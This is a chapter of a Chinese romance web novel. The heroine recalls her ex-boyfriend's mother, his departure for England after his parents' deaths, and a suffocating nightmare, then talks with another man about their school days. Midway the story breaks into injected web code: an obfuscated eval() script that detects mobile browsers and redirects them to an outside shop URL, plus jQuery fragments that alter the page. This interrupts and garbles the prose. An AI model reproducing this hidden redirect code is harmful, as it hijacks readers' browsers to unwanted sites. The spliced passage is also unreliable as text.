60. 噩梦

作品:《欲念难辞[破镜重圆]

    顾念辞仍旧没放松警惕,但总有直觉告诉她,眼前这个眉眼含笑的女人并没有恶意。


    “来之前我曾想象过你,可是今天真正一见,你比我想过的所有假设都还要好。”


    她被夸得甚至有点惶恐,只能瞪大眼睛,拘着尴尬的微笑。


    “我和梁予安……”


    她摇头,制止她要说的话,“我们今天不提他,我只想和你聊聊天。”


    她们聊了很久,顾念辞没想到她真的很了解她。她从大学时来到京州,到去嘉诚工作,如今和苏景一起创建景辞,她经历的一切,她都了如指掌。


    这种被人私下调查,摸透所有底细的感觉并不好受。就好像不知道在什么时候自己偶尔捡起的一张纸片,无意间写过的几个字都有可能成了握在别人手上的一把刀。无论是谁做这样的事,顾念辞第一反应就是厌恶,更多的是恐惧。可是面对孟云,她却好像丝毫没有不适的感觉,既没有感受到危险,也不觉得被蔑视。


    因为工作原因,顾念辞自认也算见过不少他们这个阶层的人,她不敢说大话,但是一来一往交谈几句,也大概能猜到几分性情。有的人即便领结勒得方正,头发打理得一丝不苟,就连嘴角都精心熨烫,努力勾出平易近人的弧度,可刻在骨子里的倨傲和优越感,就仿佛是在往不透明的杯子里倒水,总会在某个瞬间满溢出来。


    可孟云不同,她说话的语气和表情都太过自然舒适,不像山间溪水那般甘甜清脆,也不似天边雨水那样酣畅淋漓,就只是一杯温度恰到好处的凉白开。


    她们说着她工作上的事,聊起最近的烦恼,孟云细心为她排忧解难,聊起最喜欢的书,发现她们连阅读的品味居然也很像。


    她们聊天说地,没再提起梁予安一句,根本不像第一次见面,反而像一对认识了很久的忘年交。


    直到最后,顾念辞还是小心试探她今天目的,孟云只浅淡一笑,“我今天就只是想认识你,其他什么都没有。”


    顾念辞没说什么,她们沉默几秒,过了很久,孟云缓缓开口,“予安,马上要去英国了。”


    握着叉子的手一滞,入口甜腻的奶油瞬间也没了味道,她牵动嘴角,“……我们已经分手,无论他去英国,还是去美国,都和我没关系。”


    孟云深深叹口气,最后看向她的复杂眼神,她一直记得,遗憾、悲伤、惋惜……甚至底色流淌着她当时并未察觉的痛苦。


    那时顾念辞根本不知道她为什么会有如此意味深长的眼神,她只觉得去英国不过是梁予安父母苦心孤诣为他铺平的康庄大道。却未曾想,那是由他父母鲜血浸淋,生命喂养出的一条狭窄小路。


    初雪那天,天气格外冷。前几天一直回升的气温,却在这天急转而下,落下簌簌鹅毛大雪。


    整个世界银装素裹,被涂上了无情的白色。


    顾念辞穿着厚重的羽绒服,低头盯着地上深深浅浅几个脚印。


    空中雪花寂寥飞舞,几片小小的雪花滚落在他浓密的睫毛上,像是挂在上面晶莹剔透的泪珠。


    梁予安神色木然,漆黑的眼睛淡漠仿佛一潭死水,他沉默良久,还是说出口,“……我,要去英国留学了。”


    她浅色琥珀眼反射出一片淡漠的白,微笑着说:“那……祝你学业有成,得偿所愿。”


    梁予安默默攥紧拳头,急促呼出的热气,飘荡在呼啸的风中,溶于冷漠的雪里。两人沉默许久,都没什么好说的,顾念辞很快转身上了楼,他安静站在楼下,任由白色的雪花洒满头发。


    为什么不问他去英国的原因?为什么能轻松地说出祝福的话?


    为什么……为什么不挽留他?


    哪怕她今天显露出一点点挽留他的情绪,哪怕她眼睛里有一丝丝不舍,他拼了命也会反抗梁岱,可是,她没有。


    她永远那么清醒,那么理智,只有他一个人傻傻还在沉迷在自己的幻想里,迟迟不愿醒来。


    她祝他得偿所愿。


    得偿所愿……没有她,他又怎么会真正得偿所愿呢。


    中午顾念辞久违地做了一个梦,醒来时梦境已经记不太清,只隐约记得一个场景。梁予安躺在潮湿逼仄的小床,空间狭窄,他眼神怨恨,似阴狠毒蛇紧紧盯着她。


    他怨恨她……


    当年梁予安去英国,她真的以为他家里早就替他安排好了一切。他父母那件事,来的突然又隐蔽,略微知道内情的人也闪烁其词,顾念辞也只能在传言和谣言拼凑一点轮廓。


    他们分手后,就彻底断了联系,她没想过回头,也没想过给自己留后路。


    但是江昱暖告诉她,梁予安家里出事了。


    事出突然,顾念辞知道时也难以置信,她根本无法想象前几天那样言笑晏晏和她欢欣彻聊的人,一夜就变成了尸骸白骨。


    那么温柔的人,那样鲜活的生命……


    她虽只见了孟云一面,出于对生命的敬畏,都不敢直面现实。她不敢想……梁予安到底要承受多么大的痛苦。


    她原先替他畅想的那个美好无限的未来,已经变成了午夜噩梦的溯源。


    异国他乡呼吸的每一口空气,都充斥着父母的猩红血液;脚下踩的每一寸陌生的土地,都堆叠着父母的森森白骨。


    他的十九岁,本该是一生中最意气风发、最不知天高地厚的年纪,却只能断尾求生,狼狈逃窜,幸存的也不过一具伶仃躯壳,被湿漉漉的悔恨日夜浸透。


    其实顾念辞不是没想过试着联系他,可她的处境也算不上好。景辞正处于关键时期,离不了她。顾红然还在医院,即便有李叔和顾辰溪照顾,她也不能完全置之不理。她要忙着拉拢客户,明明最讨厌应酬和酒局,还是硬着头皮把一杯杯酒全部灌下肚。好不容易能有稍微喘息的时间,还要去探望卧病在床的母亲。


    她忽然觉得自己很虚伪,当初是她先义无反顾地抛弃他,现在又假惺惺地关心什么。


    都快自顾不暇了,还忍不住替别人瞎操心。


    不知道能为他再做点什么,她想起那条沉甸甸的项链,曾经匿名寄快递给他,却被他拒收,后来想了各种办法还给他,都没有成功。她拜托江昱暖把项链卖掉,虽然什么都没说,她还是猜到了。


    那天江昱暖专门到她家里,细声安慰她:“念辞,我相信予安,他一定会挺过难关的。”


    “嗯,我知道。”


    或许是长久习惯的麻木使然,她的内心深处好像没有很大起伏,甚至没有留恋地看那条项链一眼。


    “念辞,你真的没问题吗?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322026|192664||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    江昱暖临走时看向她,圆润的杏眼满是担忧。


    她轻轻扯开唇角,“我真的没事。”


    后来她又加上存下的一点积蓄,把卡和钱偷藏在吉他里,趁江宇帆去英国看他时交给他。


    那条项链珍贵又沉重,其实一点也不适合她,最后,也算是……物归原主了。


    能发挥最后一点作用,就好。


    所有和他关联的物品一夜之间彻底消失,顾念辞猛地感到一阵怅然若失。


    本来就不大的出租屋好像变得更狭窄,更憋闷,空气都难以流动。


    好难受,好像呼吸不上来了,身体的求生欲望促使她张大嘴巴,徒劳地捕捉氧气,却似乎被隔绝在另一个时空。


    她憋得面红耳赤,汗流浃背,脖颈青筋暴起,喉咙末端挤出粗重的喘息声,“呼——哈——”


    “呼——哈——”


    额角的汗液流到睫毛,扎得眼睛痛,顾念辞拼命睁开双眼。


    原来是梦,窒息的感觉太过真实,她下意识大口喘着气。


    这个梦做得诡谲错乱,她醒来时后背已经湿了一大片,睡的时间不短,醒来只感觉替别人活了一番人生,身体更加疲倦。


    闭上眼,仍能看见苍茫大雪,记得他那时落寞可怜的眼神,黑漆漆的瞳仁里装满她无情的面孔。


    而她转身,一次头都没有回。


    *


    临近傍晚,晚霞满天,天际一点残阳鲜红,好似将落未落的一滴血泪。


    粉雾花瓣映着碎霞,纷纷掉落,踩在脚下,如同走在绵软的红毯上。


    叶之臻在地上捡起一片,宛若在手心绽出白日焰火,感慨:“合欢花谢了,夏天,快要过去了。”


    “是啊,夏天快要结束了。”


    淡淡的香味氤氲在鼻尖,让顾念辞无端想起中午做的那个梦,让她想起孟云,想起她漂亮的眉眼,想起她惨淡的结局。


    手腕上总觉得缺了什么东西,连带着心里也空荡荡,顾念辞摇摇头,撇去烦乱杂丝。


    “我已经跟家里人说清楚了。”叶之臻依然眉目温润,唇边带笑,顾念辞好像就从来没见过他恼怒失态的样子。


    “什么?”她一时没反应过来。


    “我们的事。”


    “哦。”顾念辞低着头,很快换上笑容,“说明白了就好,免得以后麻烦。”


    叶之臻嘴角勾起浅淡的一个弧度,“你说的对,其实早该这样了。”


    “念辞,我还有话对你说。”


    叶之臻换上严肃的表情,顾念辞心里隐约有猜测,却不想让事情更加失控,她轻轻摇头,“有什么话,不急着一时说。”


    “我现在就要说。”他眼神愈发坚定,像是天空飘荡的一片云,终于有了定所。


    “你还记得吗?我们高中时的那个夏天。”


    “感觉那是我十八年来的最热的一个夏天,我们俩是同桌,坐在最前面,班里没有空调,我们离电扇最远,一点风都吹不到。我常常热得汗流浃背,根本学不进去。”


    他面上怀念的表情深远,顾念辞也尝试回忆。


    “都过去多少年了,我都有点记不清了。”


    他自嘲一笑,“是啊,那都是多久以前的事了,我们早都不年轻了。”